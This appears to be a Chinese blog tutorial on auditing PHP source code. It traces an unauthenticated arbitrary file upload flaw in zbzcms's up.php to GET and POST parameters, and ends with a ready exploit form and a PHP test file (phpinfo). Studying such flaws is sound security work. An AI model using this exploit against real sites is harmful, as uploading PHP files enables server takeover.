您的当前位置:首页正文

PHP代码审计 -- 文件上传

2024-11-09 来源:个人技术集锦

工具&环境

工具:Seay源代码审计系统,文本编辑器一个
环境:phpstudy,网站源码是 zbzcms

步骤

1, 将zbzcms网站源码放入phpstudy,根据网站安装引导完成网站搭建;
2,打开Seay,新建项目 --> 选择网站源码 --> 自动审计,审计完成后点击 漏洞描述对审计结果进行排序,方便结果查看:

move_uploaded_file( string $filename, string $destination):
	功能:move_uploaded_file — 将上传的文件移动到新位置
	参数:$filename 文件名, $destination 文件移动的最终位置
	返回结果:true 或者 false

通过php手册可知,这个函数在这里的功能就是将文件名为 $tmp_name的文件,移动到路径为$path的路径下;
因此,对$tmp_name 和 $path 进行全文追踪,查看这两个变量从哪里来的,并且是否可控,全文追踪:选中变量 -->鼠标右键 --> 全文追踪:

通过全文追踪结果可以看到,$tmp_name 来自一个数组$arr[‘tmp_name’],进而追踪数组 arr 是在foreach 遍历赋值中,通过 $_FILES 产生的,而 $_FILES 是个全局变量,再次查看php手册:

全局变量 $_FILES 包含有所有上传的文件信息。数组的内容来自以下范例表单。我们假设文件上传字段的名称如下例所示,为 userfile。名称可随意命名。 
$_FILES['userfile']['name']
客户端机器文件的原名称。 
$_FILES['userfile']['type']
文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是"image/gif"。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。 
$_FILES['userfile']['size']
已上传文件的大小,单位为字节。 
$_FILES['userfile']['tmp_name']
文件被上传后在服务端储存的临时文件名。 
$_FILES['userfile']['error']

简单来说,$_FILES是一个全局数组,用于存放上传文件的临时文件名,文件类型,文件大小等重要字段,并且要为POST上传

通过php手册可以得知,我们可以POST以方式上传文件,对$_FILES数组产生影响,进入影响$tmp_name
接下来对$path 进行全文追踪:

通过全文追踪可以看到,$path 是通过$_GET全局变量获取的,而$_GET全局变量就是从url中get传参获取的,因此$path这个变量是可控的;
代码再往上,我们可以看到有一个if判断,只有 $run 的值为file ,才能进入文件上传,再进行全文追踪查看$run ,可以发现$run 变量是从GET传参获取的:

* move_uploaded_file() 具有文件移动功能,需要提供$tmp_name ,$path 两个参数;
* $tmp_name可以通过post方式上传文件,影响$_FILES,进而影响$tmp_name,因此需要本地构建一个POST方式的文件上传表单,可控;
* $path为 文件上传路径,通过get 传参 path获取,可控;
* $run 是通过get传参获得,并且值一定要为 file 才能执行文件上传,可控;
* 在审计过程中还发现,如果$path的值,也就是路径在目标上不存在,则会创建新的目录;
* $filename 通过get传参获得,并且它的值会影响文件上传之后的文件名,为1时不更改文件名,为 0时会将时间戳拼接进文件名,
因此还需要将 $filename的值置为 1,方便文件上传之后的访问,可控;

利用:
本地构造文件上传表单,将run置为file使得程序进入上传功能,path设置为当前文件夹,也就是上传到当前文件夹下,filename置为1不更改上传之后的文件名,提交方式为post,enctype=“multipart/form-data”上传文件一定要写:

<html>
<head>
<meta charset="utf-8">
<title>test</title>
</head>
<body>

<form action="http://zbzcms.com/cms/cms/include/up.php?run=file&filename=1&path=./" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

构造完成后直接双击浏览器打开,上传一个1.php, 内容为<?php phpinfo(); ?>:

Top